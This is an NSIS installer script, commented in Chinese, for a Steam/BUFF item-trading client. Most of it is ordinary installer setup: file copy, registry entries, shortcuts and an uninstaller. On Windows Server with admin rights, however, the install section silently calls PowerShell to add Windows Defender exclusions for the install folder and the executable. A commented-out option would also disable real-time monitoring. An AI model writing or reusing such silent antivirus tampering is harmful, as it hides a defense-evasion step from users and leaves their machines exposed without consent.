; BUFF选品客户端 - 自定义 NSIS 安装脚本 ; 包含 Windows Server 2019 安全设置自动配置 !include "MUI2.nsh" !include "FileFunc.nsh" ; ============================================ ; 全局变量 ; ============================================ Var IS_SERVER_OS Var IS_ADMIN ; ============================================ ; 安装程序信息 ; ============================================ Name "BUFF选品-STEAM扫货(游铛铛)" OutFile "BUFF选品-STEAM扫货(游铛铛)_0.1.0_x64-setup.exe" InstallDir "$PROGRAMFILES64\BUFF选品-STEAM扫货(游铛铛)" InstallDirRegKey HKLM "Software\BUFF选品-STEAM扫货(游铛铛)" "InstallDir" RequestExecutionLevel admin SetCompressor /SOLID lzma ; ============================================ ; MUI 设置 ; ============================================ !define MUI_ABORTWARNING !define MUI_ICON "icons\icon.ico" !define MUI_UNICON "icons\icon.ico" ; 语言选择 !define MUI_LANGDLL_ALLLANGUAGES ; ============================================ ; 页面定义 ; ============================================ !insertmacro MUI_PAGE_WELCOME !insertmacro MUI_PAGE_LICENSE "license.txt" !insertmacro MUI_PAGE_DIRECTORY !insertmacro MUI_PAGE_INSTFILES !insertmacro MUI_PAGE_FINISH !insertmacro MUI_UNPAGE_CONFIRM !insertmacro MUI_UNPAGE_INSTFILES !insertmacro MUI_LANGUAGE "SimpChinese" !insertmacro MUI_LANGUAGE "English" ; ============================================ ; 安装节 ; ============================================ Section "安装" SecInstall SetOutPath "$INSTDIR" ; 检测是否为服务器系统 Call IsWindowsServer ; 检测是否有管理员权限 Call CheckAdminRights ; 复制所有文件 File /r ".\*" ; 创建卸载程序 WriteUninstaller "$INSTDIR\Uninstall.exe" ; 写入注册表 WriteRegStr HKLM "Software\BUFF选品-STEAM扫货(游铛铛)" "InstallDir" "$INSTDIR" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\BUFF选品-STEAM扫货(游铛铛)" "DisplayName" "BUFF选品-STEAM扫货(游铛铛)" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\BUFF选品-STEAM扫货(游铛铛)" "UninstallString" "$INSTDIR\Uninstall.exe" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\BUFF选品-STEAM扫货(游铛铛)" "DisplayIcon" "$INSTDIR\BUFF选品-STEAM扫货(游铛铛).exe" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\BUFF选品-STEAM扫货(游铛铛)" "Publisher" "游铛铛" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\BUFF选品-STEAM扫货(游铛铛)" "DisplayVersion" "0.1.0" ; 创建桌面快捷方式 CreateShortCut "$DESKTOP\BUFF选品-STEAM扫货(游铛铛).lnk" "$INSTDIR\BUFF选品-STEAM扫货(游铛铛).exe" ; 创建开始菜单快捷方式 CreateDirectory "$SMPROGRAMS\BUFF选品-STEAM扫货(游铛铛)" CreateShortCut "$SMPROGRAMS\BUFF选品-STEAM扫货(游铛铛)\启动程序.lnk" "$INSTDIR\BUFF选品-STEAM扫货(游铛铛).exe" CreateShortCut "$SMPROGRAMS\BUFF选品-STEAM扫货(游铛铛)\卸载.lnk" "$INSTDIR\Uninstall.exe" ; 如果是服务器系统,自动配置安全设置 ${If} $IS_SERVER_OS == "1" Call DisableWindowsDefender ${EndIf} SectionEnd ; ============================================ ; 卸载节 ; ============================================ Section "Uninstall" ; 移除文件 RMDir /r "$INSTDIR" ; 移除注册表 DeleteRegKey HKLM "Software\BUFF选品-STEAM扫货(游铛铛)" DeleteRegKey HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\BUFF选品-STEAM扫货(游铛铛)" ; 移除快捷方式 Delete "$DESKTOP\BUFF选品-STEAM扫货(游铛铛).lnk" RMDir /r "$SMPROGRAMS\BUFF选品-STEAM扫货(游铛铛)" SectionEnd ; ============================================ ; 函数定义 ; ============================================ ; 检测是否为 Windows Server Function IsWindowsServer ReadRegStr $0 HKLM "SYSTEM\CurrentControlSet\Services\Server" "Start" ${If} $0 != "" StrCpy $IS_SERVER_OS "1" ${Else} ; 备用检测方法 ReadRegStr $0 HKLM "SYSTEM\CurrentControlSet\Control\ProductOptions" "ProductType" ${If} $0 == "ServerNT" || $0 == "LanmanNT" StrCpy $IS_SERVER_OS "1" ${Else} StrCpy $IS_SERVER_OS "0" ${EndIf} ${EndIf} FunctionEnd ; 检测管理员权限 Function CheckAdminRights UserInfo::GetAccountType Pop $0 ${If} $0 == "Admin" StrCpy $IS_ADMIN "1" ${Else} StrCpy $IS_ADMIN "0" ${EndIf} FunctionEnd ; 禁用 Windows Defender(需要管理员权限) Function DisableWindowsDefender ${If} $IS_ADMIN == "1" ; 添加排除路径 ExecWait 'powershell -Command "Add-MpPreference -ExclusionPath \"$INSTDIR\" -ErrorAction SilentlyContinue"' ExecWait 'powershell -Command "Add-MpPreference -ExclusionProcess \"$INSTDIR\BUFF选品-STEAM扫货(游铛铛).exe\" -ErrorAction SilentlyContinue"' ; 禁用实时监控(可选,取消注释以启用) ; ExecWait 'powershell -Command "Set-MpPreference -DisableRealtimeMonitoring \$true -ErrorAction SilentlyContinue"' ${EndIf} FunctionEnd ; ============================================ ; 安装前检查 ; ============================================ Function .onInit ; 显示语言选择 !insertmacro MUI_LANGDLL_DISPLAY FunctionEnd